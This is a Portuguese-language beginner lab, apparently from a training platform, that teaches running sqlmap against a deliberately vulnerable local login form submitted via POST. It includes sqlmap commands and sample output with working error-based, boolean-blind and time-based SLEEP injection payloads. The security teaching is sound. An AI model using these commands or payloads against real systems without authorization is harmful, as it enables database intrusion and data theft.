Realizar um Scan em uma Requisição POST com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

A injeção de SQL (SQL injection) é uma vulnerabilidade crítica de segurança web que permite a um atacante interferir nas consultas que uma aplicação faz ao seu banco de dados. Embora muitos exemplos se concentrem em vulnerabilidades em parâmetros de URL (requisições GET), formulários que enviam dados via requisições POST também são alvos comuns.

Neste laboratório, você aprenderá a usar o sqlmap, uma poderosa ferramenta de teste de penetração de código aberto, para automatizar o processo de detecção e exploração de falhas de injeção de SQL. Especificamente, você se concentrará em direcionar um formulário web que utiliza o método POST para enviar dados. Você aprenderá a capturar os dados POST e fornecê-los ao sqlmap para realizar uma varredura abrangente.

Identificar um Formulário Web Usando o Método POST

Nesta etapa, você iniciará um servidor web simples e identificará um formulário web que utiliza o método HTTP POST. As requisições POST são projetadas para enviar dados a um servidor para criar ou atualizar um recurso, o que as torna um método comum para submeter formulários de login, comentários ou qualquer outro conteúdo gerado pelo usuário.

Primeiro, vamos verificar se nossa aplicação web de exemplo está em execução. Podemos usar o curl para buscar a página principal.

Execute o seguinte comando no seu terminal:

curl http://localhost:8000

Você deverá ver o código fonte HTML de uma página de login simples. Procure pela tag <form> dentro da saída.

<!DOCTYPE html>
<html>
  <head>
    <title>Login Page</title>
  </head>
  <body>
    <h2>Login Form</h2>
    <form action="login.php" method="POST">
      <label for="username">Username:</label><br />
      <input type="text" id="username" name="username" /><br />
      <label for="password">Password:</label><br />
      <input type="password" id="password" name="password" /><br /><br />
      <input type="submit" value="Login" />
    </form>
  </body>
</html>

Observe o atributo method="POST" dentro da tag <form>. Isso instrui o navegador a enviar os dados do formulário usando uma requisição POST para o script login.php. Identificar isso é o primeiro passo para preparar nossa varredura com sqlmap. Você também pode abrir o navegador Firefox a partir da área de trabalho e navegar até http://localhost:8000 para visualizar o formulário visualmente.

Capturar a String de Dados POST Usando as Ferramentas de Desenvolvedor do Navegador

Nesta etapa, você aprenderá a capturar a string de dados enviada por uma requisição POST. O sqlmap precisa desses dados para saber quais parâmetros testar para injeção de SQL. A maneira mais fácil de obter essa informação é usando as ferramentas de desenvolvedor integradas do seu navegador.

  1. Abra o navegador Firefox a partir da dock de aplicações à esquerda no seu ambiente LabEx.
  2. Navegue até http://localhost:8000.
  3. Pressione F12 ou clique com o botão direito na página e selecione "Inspecionar" para abrir as Ferramentas de Desenvolvedor.
  4. Clique na aba Network (Rede) no painel das Ferramentas de Desenvolvedor.
  5. Na página de login, insira alguns dados fictícios nos campos do formulário. Por exemplo, use test para o nome de usuário e test para a senha.
  6. Clique no botão Login.
  7. Na aba Network, você verá uma nova entrada para login.php. Clique nela.
  8. Um novo painel será aberto. Procure por uma aba chamada Request (Requisição) ou Payload (Carga útil). Aqui, você encontrará os dados do formulário que foram enviados ao servidor. Eles se parecerão com isto:
username=test&password=test

Esta string, username=test&password=test, é exatamente o que precisamos para o sqlmap. Ela contém os nomes dos parâmetros (username, password) e os valores que você submeteu.

Para a próxima etapa, vamos salvar essa string de dados em um arquivo no seu diretório ~/project. Isso não é estritamente necessário para usar o sqlmap, mas é uma boa prática para manter o controle das suas descobertas.

echo 'username=test&password=test' > ~/project/post_data.txt

Usar a Flag --data para Especificar Parâmetros POST

Nesta etapa, você construirá um comando básico do sqlmap usando a flag --data. Esta flag é essencial para instruir o sqlmap a enviar uma requisição POST e quais dados incluir no corpo da requisição.

A sintaxe básica para um scan POST no sqlmap é:

sqlmap -u "URL_ALVO" --data="STRING_DADOS_POST"

  • -u "URL_ALVO": Especifica a URL que processa os dados do formulário. No nosso caso, esta é http://localhost:8000/login.php.
  • --data="STRING_DADOS_POST": Fornece a string de dados que você capturou na etapa anterior.

Vamos executar um comando para ver como o sqlmap processa essas informações. Usaremos a string de dados que encontramos anteriormente. Este comando não realizará um scan completo ainda; ele apenas nos ajudará a confirmar que o sqlmap identifica corretamente os parâmetros POST.

Execute o seguinte comando no seu terminal:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test"

O sqlmap iniciará e mostrará algumas informações iniciais. Ele identificará corretamente que a requisição é uma requisição POST e encontrará os parâmetros username e password. Em seguida, perguntará se você deseja testá-los.

[INFO] POST parameter 'username' is dynamic
[INFO] POST parameter 'password' is dynamic
[WARNING] POST parameter 'password' looks like a password field. Do you want to mask its value in further requests? [Y/n] n
[INFO] testing connection to the target URL
sqlmap identified the following injection points with a total of 5 HTTP(s) requests:
---
Parameter: username (POST)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (subquery)
    Payload: username=-1695' OR 1 GROUP BY CONCAT(0x71787a7a71,(SELECT (CASE WHEN (1695=1695) THEN 1 ELSE 0 END)),0x7170766b71,FLOOR(RAND(0)*2)) HAVING MIN(0)#&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: username=test&password=test' AND 2195=2195 AND 'zxcv'='zxcv
---
[INFO] the back-end DBMS is MySQL
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

[*] ending @ ...

Você pode pressionar n quando perguntado sobre mascarar a senha e então o sqlmap prosseguirá. Para esta etapa, você pode deixá-lo rodar ou pressionar Ctrl+C para sair depois de vê-lo identificar os parâmetros. O ponto principal é entender como a flag --data funciona.

Executar o Scan na URL Alvo com Dados POST

Nesta etapa, você executará um scan completo no alvo. Para tornar o processo mais suave e não interativo, adicionaremos algumas flags adicionais ao nosso comando sqlmap.

  • -p "username": Esta flag informa ao sqlmap para focar seus esforços de teste apenas no parâmetro username. Isso pode economizar muito tempo se você suspeitar que um parâmetro específico é vulnerável.
  • --batch: Esta flag automatiza o processo, instruindo o sqlmap a usar a resposta padrão para todas as perguntas interativas que normalmente faria. Isso é muito útil para executar scans sem supervisão.

Agora, vamos combinar tudo no comando final. Estamos visando a URL login.php, fornecendo os dados POST, especificando o parâmetro username para teste e executando em modo batch.

Execute o seguinte comando no seu terminal:

sqlmap -u "http://localhost:8000/login.php" --data="username=test&password=test" -p "username" --batch

O sqlmap iniciará agora um scan abrangente do parâmetro username. Como nosso script vulnerável usa uma função sleep() para simular um atraso no banco de dados, o sqlmap provavelmente usará técnicas de injeção cega baseada em tempo. Este tipo de scan pode levar alguns minutos, pois o sqlmap precisa enviar várias requisições e medir o tempo de resposta de cada uma para confirmar a vulnerabilidade.

Você verá uma saída semelhante a esta enquanto ele executa:

...
[INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[INFO] POST parameter 'username' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
...

Deixe o scan completar. Ele confirmará que o parâmetro username é vulnerável.

Analisar os Resultados de uma Injeção SQL Baseada em POST

Nesta etapa, você analisará a saída do sqlmap para entender a vulnerabilidade que ele descobriu. Após a conclusão do scan da etapa anterior, o sqlmap apresentará um resumo de suas descobertas.

A saída final será algo como isto:

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6113 FROM (SELECT(SLEEP(5)))bYjb) AND 'TEST'='TEST&password=test
---
[INFO] the back-end DBMS is 'MySQL >= 5.0.12'
web server operating system: Linux
web application technology: PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[INFO] fetched data logged to text files under '/home/labex/.sqlmap/output/localhost:8000'

Vamos detalhar este resultado:

  • Parameter: username (POST): Isso confirma que a vulnerabilidade foi encontrada no parâmetro username de uma requisição POST.
  • Type: time-based blind: Este é o tipo de injeção SQL. "Blind" (cega) significa que a aplicação não retorna erros de banco de dados em suas respostas. "Time-based" (baseada em tempo) significa que o sqlmap confirmou a vulnerabilidade injetando comandos que causam um atraso no tempo (por exemplo, SLEEP(5)) e medindo o tempo de resposta do servidor.
  • Payload: Isso mostra a entrada maliciosa real que o sqlmap usou para confirmar a vulnerabilidade.

O sqlmap também salva todas as informações da sessão, incluindo logs e resultados, em um diretório. A localização é mencionada na saída, tipicamente ~/.sqlmap/output/. Você pode inspecionar este diretório para encontrar logs detalhados do scan.

Vamos listar o conteúdo do diretório de resultados para nosso alvo:

ls -l ~/.sqlmap/output/localhost:8000

Você verá arquivos como log e session.sqlite. O arquivo log contém um registro completo do scan, que é útil para análise detalhada e relatórios.

total 24
-rw-r--r-- 1 labex labex 15589 Dec  6 15:30 log
-rw-r--r-- 1 labex labex  8192 Dec  6 15:30 session.sqlite
-rw-r--r-- 1 labex labex     0 Dec  6 15:29 target.txt

Você agora identificou e confirmou com sucesso uma vulnerabilidade de injeção SQL baseada em POST usando sqlmap.

Resumo

Neste laboratório, você aprendeu a usar o sqlmap para testar vulnerabilidades de injeção SQL em formulários web que utilizam o método POST. Você identificou com sucesso um formulário POST, capturou a string de dados necessária usando as ferramentas de desenvolvedor do navegador e utilizou a flag --data no sqlmap para especificar os parâmetros POST. Finalmente, você executou um scan usando as flags --batch e -p para automação e analisou os resultados, confirmando uma vulnerabilidade de injeção SQL cega baseada em tempo. Este processo é uma habilidade fundamental para testes de segurança em aplicações web.